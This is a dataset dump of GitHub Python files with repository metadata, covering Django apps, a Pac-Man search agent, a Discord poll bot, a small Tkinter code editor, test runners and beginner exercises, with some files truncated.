# Given the below binary tree and sum = 22,
# 5
# / \
# 4 8
# / / \
# 11 13 4
# ... | [
"chaoiseneu@gmail.com"
] | chaoiseneu@gmail.com |
5956b9e2ef9c61de2a591591bdfab2f3667d3ebd | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/adjectives/_meticulous.py | 4c49fb55ebd4ada7e02a5ab1909db460ca891293 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 421 | py |
#calss header
class _METICULOUS():
def __init__(self,):
self.name = "METICULOUS"
self.definitions = [u'very careful and with great attention to every detail: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'adjectives'
def run(self, obj1, obj2):
sel... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
4a30332f7016b460fadb3e1a1c68df1499a5e2fd | 15c1a8e3a88cc7a2175050aaca45140dff7bc7e7 | /user_model.py | c996edd5d4e500aad1c5e04b4683a08bad6e4f54 | [] | no_license | chelseaz/algoteach | bfe377dee752e3b11823c78bcce096904ee8e8d2 | bbb697250cfb26195f1e6a5ac3ffd087f7b99d1a | refs/heads/master | 2020-12-24T23:49:00.200601 | 2016-09-11T05:13:19 | 2016-09-11T05:13:19 | 62,427,220 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,886 | py | #!/usr/bin/env python
import math
import numpy as np
from sklearn import svm
class PredictionResult(object):
def __init__(self, prediction, evaluation=None):
self.prediction = prediction
self.evaluation = evaluation
class UserModel(object):
def __init__(self, settings):
self.name = "... | [
"zhang.chelsea@gmail.com"
] | zhang.chelsea@gmail.com |
efaadf8a7665053a3801a5998c30e10ea1d41c19 | 565b835479c587083f17fa1ee1e23da8eb29de33 | /app/gaelo_processing/middleware/ErrorHandler.py | 752ff7b2509f111415ad22d4da749af996929f93 | [
"MIT"
] | permissive | wendyrvllr/GaelO_Processing | a30c9d0ed5efaadb5eb84b5f656bec5f3e7f6747 | 7cc5251e379cd60656299fa71a63a5f69003ce46 | refs/heads/master | 2023-06-08T16:45:39.168682 | 2021-06-21T10:18:00 | 2021-06-21T10:18:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 968 | py | import traceback
from django.conf import settings
from ..exceptions.gaelo_processor_exeptions import GaelOException
class ErrorHandlerMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
response = self.get_response(request)
re... | [
"nicolas.jacomi@etud.univ-jfc.fr"
] | nicolas.jacomi@etud.univ-jfc.fr |
256a71cc9c95fce9d32411fa448fd79a0b5abe70 | ab1522457ae0adc1328cc5f43c51dc5c488d7f27 | /run_tests.py | f0128b13700e6d4b6755c3b6a565616fe0cfbf74 | [
"MIT"
] | permissive | Lostefra/pgmpy | 9df83d0fc6f13ce6f087773b63c6eb736b916e6a | d39a0c86005f86a7543d93ae7703f22f026bf3e6 | refs/heads/Lostefra-patch-keyError | 2022-11-12T14:01:23.123599 | 2020-07-03T22:36:33 | 2020-07-03T22:36:33 | 276,986,514 | 0 | 0 | MIT | 2020-07-03T23:13:51 | 2020-07-03T21:00:09 | Python | UTF-8 | Python | false | false | 404 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
if __name__ == "__main__":
import pytest
import sys
package_name = "pgmpy"
pytest_args = [
"--cov-config",
".coveragerc",
"--cov-report",
"html",
"--cov-report",
"term",
"--cov=" + package_name,
]
... | [
"ankurankan@gmail.com"
] | ankurankan@gmail.com |
b13fb8504577ae8cd6f334dc8d2406c131437b6f | 5e5db4c8e514e68161290e6293513db33df6bf49 | /test/jit/test_list_dict.py | 949ed485403d0fa1c7a33d502db5e92abe1c01cf | [
"BSD-2-Clause",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"BSL-1.0",
"Apache-2.0"
] | permissive | MarcioPorto/pytorch | 5e51a8937722c886e23c68d2c5180b0425832bf2 | c52700dbcdec0acadf81473438192d1bb2beebc8 | refs/heads/master | 2023-04-25T09:41:25.126363 | 2021-05-12T16:44:05 | 2021-05-12T16:45:10 | 300,316,842 | 1 | 0 | NOASSERTION | 2020-10-01T14:52:49 | 2020-10-01T14:52:48 | null | UTF-8 | Python | false | false | 63,607 | py | import os
import sys
import inspect
import unittest
from typing import Any, Dict, List, NamedTuple, Optional, Tuple
from textwrap import dedent
from collections import OrderedDict
from torch import Tensor
import torch
import torch.nn as nn
import types
from torch.testing import FileCheck
# Make the helper files in te... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
33ef899198fbdcf324b2587542c0864208ce950b | cf25134b53f812b14061025de63b057e5657a4dd | /AnalysisTools/Likelihood/Likelihood/Reader.py | a81cdc4cb68f348cee5d2a929a91c5cca86c9cdf | [] | no_license | parbol/BlueHook | 59006b40259bcd8d5ef58de508ed3bbdca34e6f6 | e5f9b122caa2bc0b1377ea89ea65a716496d66c9 | refs/heads/master | 2023-01-03T10:57:11.004394 | 2020-10-25T11:33:46 | 2020-10-25T11:33:46 | 257,040,004 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,904 | py | from optparse import OptionParser
import math
###############################################################
###############################################################
class Reader:
def __init__(self, fileName, npersons):
self.fileName = fileName
self.npersons = npersons
... | [
"pablom@cern.ch"
] | pablom@cern.ch |
48eca5e8490deab60cf40f714a54339d762917d7 | fce807b5ce7a342df4db6ade0216ec7e2a786da9 | /blog_posts/views.py | be53562ea6947f6085592f11673b11c9be40062c | [] | no_license | tr-nikolai/personalwebsite | 37592483914523dbe6e716a2603b9cfb4faffed6 | 802b13fcb110c2f76124941700725a1239ebf6a0 | refs/heads/master | 2021-07-22T22:38:49.592290 | 2017-11-01T10:33:40 | 2017-11-01T10:33:40 | 103,282,675 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,893 | py | from django.contrib import messages
from django.shortcuts import render, get_object_or_404, redirect
from django.http import HttpResponseRedirect, Http404
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.contrib.contenttypes.models import ContentType
from django.utils import timezone... | [
"nikolacola20@gmail.com"
] | nikolacola20@gmail.com |
2d279a3ccde6cb3c8853751aaa05510decbf3212 | 0eb5030d536e0912bd912d00ddfd1f4431adf65c | /Carl-Bot-master/cogs/poll.py | ac8841e7f73d03d725597db317c263ceb358bddd | [] | no_license | Midnight-City/Owl | b4034e2014098940fade004078671cfacb9c75d6 | e6778ccb587edb2b1f11253f6c8374b07d35192b | refs/heads/main | 2023-02-09T11:19:54.572152 | 2020-12-31T04:54:47 | 2020-12-31T04:54:47 | 325,716,904 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,177 | py | import discord
import json
import shlex
from discord.ext import commands
def to_keycap(c):
return '\N{KEYCAP TEN}' if c == 10 else str(c) + '\u20e3'
class Polls:
"""Poll voting system."""
def __init__(self, bot):
self.bot = bot
@commands.command(no_pm=True)
async def... | [
"noreply@github.com"
] | noreply@github.com |
d9ab036bd0ab1f89a24a44fa9d8974c6ab31470b | f6cac4e2f60a8e1627f777a4c998c803c49c6da7 | /Assignment2/test.py | 18c4711bcccdffde80761c319cbaa6874242e40c | [] | no_license | svd3/Artificial-Intelligence | 3bd20f01e54fc9c3a6f4622048021d4abc610fef | 7978831a861e82ab7aa18325bb8f393ddf271027 | refs/heads/master | 2021-09-05T14:25:48.484981 | 2018-01-28T20:44:51 | 2018-01-28T20:44:51 | 115,669,679 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,509 | py | from util import manhattanDistance
from game import Directions
import random, util
from game import Agent
class ReflexAgent(Agent):
"""
A reflex agent chooses an action at each choice point by examining
its alternatives via a state evaluation function.
The code below is provided as a guide. You are we... | [
"svd3@rice.edu"
] | svd3@rice.edu |
d087aa0095c89a0fbc965b19d74bfc369e4e7aae | 0d0afd1dce972b4748ce8faccd992c019794ad9e | /integra/integra_caixa/models/caixa_movimento_base.py | 1041f410fce8c130cc33437f28d907cb150625b6 | [] | no_license | danimaribeiro/odoo-erp | e2ca2cfe3629fbedf413e85f7c3c0453fd16941e | d12577bf7f5266b571cbedeb930720d653320e96 | refs/heads/master | 2020-01-23T21:32:16.149716 | 2016-11-05T15:35:40 | 2016-11-05T15:35:40 | 67,892,809 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,754 | py | # -*- coding: utf-8 -*-
# from __future__ import division, print_function, unicode_literals
from osv import orm, fields
from pybrasil.data import parse_datetime, formata_data, data_hora_horario_brasilia
SALVA = True
class caixa_movimento_base(orm.AbstractModel):
_name = 'caixa.movimento_base'
def _get_dat... | [
"danimaribeiro@gmail.com"
] | danimaribeiro@gmail.com |
c0db9f1062c83217bac9e8795fa5c8cdab385973 | 6457e5c398608d562c41014ca9c2c95b5e0c0318 | /ex3.py | c435c3fa9798afad457465a64d95f996af9fae60 | [] | no_license | dcowdrystl/First | 9655f77e85e0e3ecdb649211847b9b9c27038ab0 | 22e812ba6870a826454d728a44b4d8510818150e | refs/heads/main | 2023-06-04T19:44:23.621209 | 2021-06-22T20:59:05 | 2021-06-22T20:59:05 | 379,395,153 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 497 | py | print "I will now count my chickens:"
print "Hens", 25 + 30 / 6
print "Roosters", 100 - 25 * 3 % 4
print "Now I will count the eggs:"
print 3 + 2 + 1 - 5 + 4 % 2 - 1 / 4 + 6
print "Is it true that 3 + 2 < 5 - 7?"
print 3 + 2 < 5 - 7
print "What is 3 + 2?", 3 + 2
print "What is 5 - 7?", 5 - 7
prin... | [
"noreply@github.com"
] | noreply@github.com |
c6ed1bb6a6cf78d0ecad2eb88c0e61c67dfb8b47 | f2f90f0fa1e3cfa73d61fe5c648b3ceb1d3bae50 | /1/63.py | 9b72c9d8c7de7610039ee78cd21111163b4c39e9 | [] | no_license | Cukerman/repos | 35dc5b71bde84ce17c0121dd12a13a4e7cd50f61 | 90b3e7939a0d63ec2c1e412d38995b6dc8227f1f | refs/heads/master | 2021-07-12T09:24:01.303757 | 2020-12-03T17:30:16 | 2020-12-03T17:30:16 | 227,128,179 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 670 | py | import random
n=int(input('Введите кол-во команд '))
m=int(input('Введите кол-во соревн '))
a=[[]]
x=0
k=0
c=0
s=[]
for i in range(0,n):
a.append([])
for j in range(0,m):
a[i].append(random.randint(1,10))
k=k+a[i][j]
a[i].append(k)
k=0
print('Команда',i+1,a[i])
while... | [
"info@schoolbolt.ru"
] | info@schoolbolt.ru |
90ea2dcaf29279ed9722bafe95c7dad77cbb51f4 | ac45b55915e634815922329195c203b1e810458c | /minionOC1304_11.py | 34d1dd610f25e9bc1d383859f22f0c01ec4c984d | [] | no_license | mj1e16lsst/iridisPeriodicNew | 96a8bfef0d09f13e18adb81b89e25ae885e30bd9 | dc0214b1e702b454e0cca67d4208b2113e1fbcea | refs/heads/master | 2020-03-23T15:01:23.583944 | 2018-07-23T18:58:59 | 2018-07-23T18:58:59 | 141,715,292 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,181 | py | from operator import add
#from astropy import units as u
#from astropy.coordinates import SkyCoord
#from astropy.stats import LombScargle
#from gatspy.periodic import LombScargleFast
from functools import partial
#from gatspy import periodic
#import matplotlib.pyplot as plt
#from matplotlib.font_manager import FontProp... | [
"mj1e16@soton.ac.uk"
] | mj1e16@soton.ac.uk |
bd2595569bf3a56f1f02f986ee1e36549ef16666 | 62ea331d8da218e65a4aee517f4473110f80c03c | /bonus_points/migrations/0012_remove_userbonussummary_bonus_points_added.py | 3abf58d99c8ead844f6402388f99f4e7c39dbc8f | [] | no_license | maddrum/world_cup_results | 11f47a1b0f9a68a0761c7d83d25cc1efb57c2240 | 282d8f55344ba718ea371a22f34454673f23a615 | refs/heads/master | 2020-03-20T05:40:44.173185 | 2018-07-16T13:12:15 | 2018-07-16T13:12:15 | 136,724,186 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 372 | py | # Generated by Django 2.0.2 on 2018-07-08 12:18
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('bonus_points', '0011_userbonussummary_bonus_points_added'),
]
operations = [
migrations.RemoveField(
model_name='userbonussummary',
... | [
"maddrum9@gmail.com"
] | maddrum9@gmail.com |
87f6003da9adb755e92a1d74a137d4608a898f67 | e5bfbb819b5fc63edcb5c7730458772ddd1a3bbb | /HW1/hw1_question1.py | 993fdbb13d3291efa6818d47d0fb7b6574937e74 | [] | no_license | MrJellimann/machine_learning_homework | 0238fd2de773a59d2ed2ab6476e734567b65c2a1 | 836b4977823c464e236ba8353e75bd63cac2c279 | refs/heads/master | 2020-08-25T03:16:01.090736 | 2019-12-06T04:57:03 | 2019-12-06T04:57:03 | 216,953,326 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,162 | py | # -*- coding: utf-8 -*-
"""HW1_Question1.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/15FxhQPV6sMrns2X6mbCFNxoeecpezAw-
"""
import numpy as np
from scipy.signal import argrelextrema
from sympy import *
import matplotlib.pyplot as plt
np.rando... | [
"noreply@github.com"
] | noreply@github.com |
447b2a7ecadf792edad348dfda52f7201431b3b4 | 0f9ea8056bf791f44ee921f0851101dfda8d7f4f | /FlaskProject/twitter/__init__.py | 2dcfb2856bf39cc4df61538be7bd3cae0c412752 | [] | no_license | Fhannan/extension-project | 54089b9c98c3143583a5cebbab835c6864b1638a | 331fb138620e6a6e6bf6acb67454621d0844d3e5 | refs/heads/master | 2021-01-25T00:22:39.457338 | 2015-05-15T00:02:39 | 2015-05-15T00:02:39 | 35,602,087 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 50 | py | # -*- coding: utf-8 -*-
from .views import twits
| [
"hannanferdous@gmail.com"
] | hannanferdous@gmail.com |
a0f00d9d5f1d237dc02e7a71b6f77e4787b41bd7 | 4e9b95936dbc4f6e163165d8b3cb14de93a9b5fe | /data/labelled_dataset.py | b9ad05d6569bf3b97f47f06d81605ffcc8e4f8a1 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | balling/double-gated-gan | be1153dfb131067cff2154c61046d2ca5da62675 | f7c3929a5361f650b8b01a93fe4787c1cd6f3c9b | refs/heads/master | 2020-05-25T01:07:09.893067 | 2019-06-11T04:49:13 | 2019-06-11T04:49:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,966 | py | import os.path
from data.base_dataset import BaseDataset, get_transform
from data.image_folder import make_dataset, make_nested_dataset
from PIL import Image
import random
import csv
def read_content_csv(file_path):
labels = {}
with open(file_path) as file:
csv_reader = csv.reader(file, delimiter = ','... | [
"balling.xo@gmail.com"
] | balling.xo@gmail.com |
13f8bacac86f5b21137fe5aeddb480b604c025af | a446c435c392400e59a1b42e855e00197c5ee027 | /difference.py | e43e6200b8491a168fb933a81e0b49ea5e8c0697 | [
"MIT"
] | permissive | billgewrgoulas/SQL-OPERATORS | 42a78fb1ad850fe18e1f8ff7babd38df2f1eb1a6 | 1ae644dc9b7a512d3b66866a34dcf5ec94f6b21f | refs/heads/main | 2023-04-07T20:36:01.179772 | 2021-04-16T11:36:29 | 2021-04-16T11:36:29 | 347,228,939 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,517 | py | #Bill Gewrgoulas
# cs52954 Uoi
diff = ''
fileR = ''
fileS = ''
left = ''
right = ''
def readR():
global fileR
return fileR.readline().split()
def readS():
global fileS
return fileS.readline().split()
def handleS():
global right
temp = right
right = readS()
... | [
"noreply@github.com"
] | noreply@github.com |
ce631eb12d5e320a09c9fc240102b6d0ec8b4f8c | 2889134e1d5780e156d98658d6859ce2e3cb422f | /utils/dirichlet_word_bonding.py | 3b8c6dcae66e38235e7352974d52f63fb23556aa | [] | no_license | dragonxlwang/phrase | 0eabf663508fb667338c04a4fea04145303ff998 | c06fc2240bd1994d63534f21909eae98e0ec03b4 | refs/heads/master | 2021-04-26T16:41:58.974505 | 2017-03-29T04:45:55 | 2017-03-29T04:45:55 | 68,783,291 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,905 | py | import sys
import numpy as np
import time
import re
wiki_file = '/home/xwang95/data/wiki/sample_100.txt'
window = 5
stop_word_num = 20
vocab = {}
alpha = 1e-3
beta = 1e-3
def gibbs_sample_one_iter(toks, link_tok):
pvec = np.empty(2 * window + 1)
for i in range(len(toks)):
b = max(0, i - window)
... | [
"dragonxlwang@gmail.com"
] | dragonxlwang@gmail.com |
2a7acf79a0890d9bf7c03f9a000a6219641ec060 | 3ef12b52ab73d12d0a6ee1ba818f561edbb2e4f8 | /django_app/music/migrations/0001_initial.py | 8092eb5b7224fc751c08d76f05dc2a5b338c2eea | [] | no_license | juliahwang/WS_practice | 7978f73fb3813632fba531f27fcb08548ab51dc0 | 70760095eea88b67113676a55ca7e18ec0224afb | refs/heads/master | 2021-01-01T16:53:12.232351 | 2017-08-03T18:23:28 | 2017-08-03T18:23:28 | 97,942,129 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,493 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-08-02 13:27
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migratio... | [
"qufskan9396@gmail.com"
] | qufskan9396@gmail.com |
cf6b8d7e38c7c4d43b629879258beb99f079799c | ccb301663e78189aa5f312ae21f35ede5942bb5e | /todo/test_forms.py | 4cec027021b777ba5dd0975d809fa1695aee973e | [] | no_license | GTretiakov/hello-django | b5697278251a8834d11a9b901fec42512b72b35f | 442eede93ba52aa62ad4bbdaf53f278370b6fc87 | refs/heads/master | 2023-03-26T10:05:18.654822 | 2021-03-19T15:15:52 | 2021-03-19T15:15:52 | 348,485,439 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 630 | py | from django.test import TestCase
from .forms import ItemForm
class TestItemForm(TestCase):
def test_item_name_is_required(self):
form = ItemForm({'name': ''})
self.assertFalse(form.is_valid())
self.assertIn('name', form.errors.keys())
self.assertEqual(form.errors['name'][0], 'This... | [
"g.tret1990@gmail.com"
] | g.tret1990@gmail.com |
641e902c8aa3eace2e4d5c86d70e9d8be55ba16c | 6014248c644bb05543fd791a17d16f6ecd8012c1 | /carro/carro.py | 645735dd3665c885f46ceee68465391d27ae8052 | [] | no_license | rosembergth/inmobiliariamogotes | 2d450b81bbaab64c129c8ea9b280e28394bcd86c | 3c25018721298c60f54e47e8a1ec4c9d73a807c5 | refs/heads/main | 2023-07-17T02:43:40.919062 | 2021-08-28T07:21:28 | 2021-08-28T07:21:28 | 400,726,332 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,680 | py | class Carro:
def __init__(self, request):
self.request=request
self.session=request.session
carro=self.session.get("carro")
if not carro:
carro=self.session["carro"]={}
#else:
self.carro=carro
def agregar(self, producto):
if(str(producto.id) n... | [
"ingenierosistemas1965@gmail.com"
] | ingenierosistemas1965@gmail.com |
88959b3f7476e086652278572e9ba2533e4238a9 | 1052a5d5e1501210f8752f7a4984a411302b51e3 | /code.py | 86b6d03aa2aaf2f641b3af23fefd3fd6ec82bed0 | [] | no_license | ActiveAngrily/Code-Editor | f8145c19ba7fbb4c9409cd6a10766b46b5d666bd | 7bdf80011afd8ed77707d1e6a3e540024adab077 | refs/heads/master | 2021-10-21T11:54:53.615350 | 2019-03-04T08:53:27 | 2019-03-04T08:53:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,518 | py | import tkinter as tk
from tkinter import filedialog
from tkinter import messagebox
import threading
import os
name = "untilted.py"
directory = name
default_directory = "/temp/"+name
fd = open(directory,'w+').close()
output = " "
chk = True
run_time = 1 # in seconds
def run ():
global output
glob... | [
"noreply@github.com"
] | noreply@github.com |
a84b063eec175fb6c346c4f36e9ac302df8415ab | b6c069539ae1caf59686b93aef6a6eb2609b0ac1 | /hw1/utils.py | 270002cec77166431781a3c3482f3a0f3840da13 | [] | no_license | Vivek-23-Titan/CMU-16824-Vision-Learning-and-Recognition | 2e52ead0ca318190cf4a32ebdbe2c75de19a9a50 | 2b5fca32ca313781d2c137e1f9c5ea77eb332797 | refs/heads/main | 2023-08-23T11:14:29.281288 | 2021-10-15T19:48:12 | 2021-10-15T19:48:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,745 | py | # --------------------------------------------------------
# Written by Yufei Ye (https://github.com/JudyYe)
# Modified by Sudeep Dasari
# --------------------------------------------------------
import os
import torch
import numpy as np
import sklearn.metrics
from torch.utils.data import DataLoader
class ARGS(objec... | [
"jiaqig@umich.edu"
] | jiaqig@umich.edu |
5fce8eb114c61690bccaf214eb1d37748c5e824f | d6c059cb3a9d58904464f048f5ea195857bc005d | /0730-线程、进程、协程/2、进程/9、封装进程对象/aspiringProcess.py | 664a50d5be61970e84dcde536681414842c698fe | [] | no_license | j415/DjangoBasics | 19f49f5dad9635c6e12e13ec43e728b2a808216c | 2d738d655bd996e8755611caf090e3aea8f321ed | refs/heads/master | 2020-03-23T22:03:34.874545 | 2018-09-05T03:31:14 | 2018-09-05T03:31:14 | 142,150,295 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 378 | py | from multiprocessing import Process
import os, time
class AspiringProcess(Process):
def __init__(self, name):
Process.__init__(self)
self.name = name
def run(self):
print('子进程(%s-%s)启动' % (self.name, os.getpid()))
# 子进程的功能
time.sleep(3)
print('子进程(%s-%s)结束' % ... | [
"1720049083@qq.com"
] | 1720049083@qq.com |
86b909ea6e240fb015ef52450aafadc2ae431396 | 43d138375c9068b3ea9dc0f75bab9d3f3bc0b8f1 | /polling_stations/apps/data_collection/management/commands/import_gosport.py | 5836560a0aa2361284d553d80dc5010b0b82230f | [] | permissive | dantagg/UK-Polling-Stations | 69da767c934dd38d74d7ff632fefacdae82053cb | 2271b3fbfe5242de659892d24fad4d8851c804ba | refs/heads/master | 2023-01-03T20:19:58.315246 | 2020-09-28T11:09:40 | 2020-09-28T11:10:29 | 300,301,660 | 0 | 0 | BSD-3-Clause | 2020-10-01T14:07:00 | 2020-10-01T14:06:59 | null | UTF-8 | Python | false | false | 3,585 | py | from data_collection.management.commands import BaseXpressDemocracyClubCsvImporter
class Command(BaseXpressDemocracyClubCsvImporter):
council_id = "E07000088"
addresses_name = (
"parl.2019-12-12/Version 1/2019 PGE - Democracy_Club__12December2019gosport.TSV"
)
stations_name = (
"parl.2... | [
"chris.shaw480@gmail.com"
] | chris.shaw480@gmail.com |
1bd86e18bfe446aa6b5fcfe9693b8841c68b35a6 | 3cf5caacd107af41aa4077d5abd71c9f1e08bd7f | /toporg.py | 330f3223d5348664fe7d6eaf3bfc1cfd0e7f6fcf | [] | no_license | MahmoudKammoun/Project | 307d2177e22b6b6ea6f0359402f6a4d70fa3aeaa | a08e6e7b404878b103f413b482507bb25a59a9ad | refs/heads/main | 2023-06-24T05:28:54.329097 | 2021-07-26T08:18:31 | 2021-07-26T08:18:31 | 389,552,357 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | from historyy import histo
def orgnaize(x):
a=(histo(x))
#print(a.rfind(":"))
b=a.rfind(":")
#print(len(a))
mem=(a[b-7: b-4])
cpu=(a[b-13:b-9])
dict={'memory utilisation %':str(mem),"CPU utilisation %":str(cpu)}
return dict
#print(orgnaize(34798))
#34798
| [
"noreply@github.com"
] | noreply@github.com |
9f20d99fc081d1173d297e4a572c90c545105955 | eb85ff6c3d8daab76092e0cecc9e9c601b398dd5 | /14.py | 1c0e01d6006da2dda46c43aba8e8098e1a6e449d | [
"MIT"
] | permissive | Michael-Naguib/ProjectEuler | 594613abe1bc468b2c27e3c712f963a9f458933c | 702ad04177b6dd2958b6c0b99682e7971612270c | refs/heads/master | 2020-03-30T08:19:38.798168 | 2019-11-02T19:40:54 | 2019-11-02T19:40:54 | 151,006,466 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,041 | py | '''
Author: Michael Sherif Naguib
Date: November 5, 2018
@: University of Tulsa
Question #14: Which starting number, under one million, produces the longest chain?
Example:
The following iterative sequence is defined for the set of positive integers:
n → n/2 (n is even)
n → 3n + 1 (n i... | [
"soccer72msn2@gmail.com"
] | soccer72msn2@gmail.com |
e30d384ebdb16b486983b4fbceb435c91bb20e1b | e13de0353887e55e253dcb25c6c8e8e1496f4e1c | /Day 8: Least Square Regression Line.py | c9d541ed083333b1e1061177a6ba8a5ff5afd05e | [] | no_license | gilbertduenas/HackerRank---10-Days-of-Statistics | da81622bc00c36954028bf102e49f41481037b73 | 6627138917c325eded7a029d160f86768d7eb655 | refs/heads/main | 2023-03-16T20:11:55.343920 | 2021-03-16T22:39:00 | 2021-03-16T22:39:00 | 311,489,535 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 607 | py | # https://www.hackerrank.com/challenges/s10-least-square-regression-line/problem
# The Least Squares Regression Line is the line that makes the vertical distance from the data points to the regression line as small as possible.
# It's called a “least squares” because the best line of fit is one that minimizes the var... | [
"noreply@github.com"
] | noreply@github.com |
d4f9df20a01cd571986c5ce46b67fee7469fe2cd | 3dc16e09927f7e60df3b2f7a0a907250d8251830 | /house_password.py | 4180a813c3c70d5444a688929629a264caa6c589 | [] | no_license | mateusz-buczek/CheckiO-solutions | fe78ea999f37d13d4b8d4c33ef888c7c10a6238d | 26beccdac835d1358e871086980f3afa1c2ba863 | refs/heads/master | 2020-04-23T11:39:25.875723 | 2019-04-19T15:33:42 | 2019-04-19T15:33:42 | 171,143,529 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,360 | py | #!/usr/bin/env checkio --domain=py run house-password
# https://py.checkio.org/mission/house-password/
#
# END_DESC
def checkio(data): # step by step, readable solution
if len(data) >= 10:
result = []
else:
return False
for el in data:
... | [
"noreply@github.com"
] | noreply@github.com |
a6ef469738d2e32c23864fe8f4f8c3000bfab280 | 88ef9ef9f2bb56a8f2dd774a06b98a3c587e6c35 | /chaosoci/core/networking/probes.py | 7b2231980eb540724123750661ba9cf6c7f061fa | [
"Apache-2.0"
] | permissive | chaostoolkit-incubator/chaostoolkit-oci | e8e31f8f39e16e5ecc92fe8958d57419ec477219 | 0aaeea9bae33e8e40d68f3dcf5fb15c1bf4bdce6 | refs/heads/master | 2021-12-25T15:25:28.941495 | 2021-12-15T20:05:29 | 2021-12-15T20:05:29 | 158,375,320 | 16 | 8 | Apache-2.0 | 2021-12-15T20:05:30 | 2018-11-20T10:59:12 | Python | UTF-8 | Python | false | false | 5,451 | py | # coding: utf-8
# Copyright 2020, Oracle Corporation and/or its affiliates.
__all__ = ['count_route_tables', 'count_nat_gateway', 'count_service_gateway', 'count_internet_gateway']
from typing import Any, Dict, List
from chaoslib.exceptions import ActivityFailed
from chaoslib.types import Configuration, Secrets
fro... | [
"noreply@github.com"
] | noreply@github.com |
c420454c31093dccbd03cc54672bcf97c527f1cd | 8e2b49a1f570c51c2cd7766387c058cdfadce864 | /src/services/package_service.py | a1ed5c7f92c6084c40feb28b8a93081e052d92dd | [
"MIT"
] | permissive | c-w-m/mongo-quickstart | c6dc9fdc0232df757f57f00a6d4fd0a4bd10c962 | dc61993a07bfbdeb1e36c47dfbc210fe9177ed8e | refs/heads/master | 2023-02-25T01:10:11.779036 | 2021-01-31T20:20:13 | 2021-01-31T20:20:13 | 334,733,471 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,326 | py | from typing import Optional, List
from data.downloads import Download
from data.packages import Package
from data.release_history import ReleaseHistory
from data.users import User
class PackageService:
@classmethod
def package_count(cls):
return Package.objects().count()
@classmethod
def rel... | [
"mikeckennedy@gmail.com"
] | mikeckennedy@gmail.com |
6e6a86a2a6f1caa858070c98ae86b69747875e5c | 43542fb0f02dbc55e0b5f54c79ffe8f2e40eb437 | /persistence.py | 851b0b9bea26e37ed9bba9fb32e0f259d3b4073b | [] | no_license | pcyho/codewars-code | cf69fe73099d5c663d8486448681e3ca1371768f | 9fe6fb8e75b86dc0fa6ebcaeab7068886b889117 | refs/heads/master | 2021-03-21T16:17:46.168609 | 2020-03-14T16:22:39 | 2020-03-14T16:22:39 | 247,310,775 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 271 | py | import operator
n = 39
while len(str(n)) > 1:
a = list(str(n))
n = 1
for each in a:
n *= int(each)
print(n)
def persistence(n):
i = 0
while n >= 10:
n = reduce(operator.mul, [int(x) for x in str(n)], 1)
i += 1
return i
| [
"37729011+pcyho@users.noreply.github.com"
] | 37729011+pcyho@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.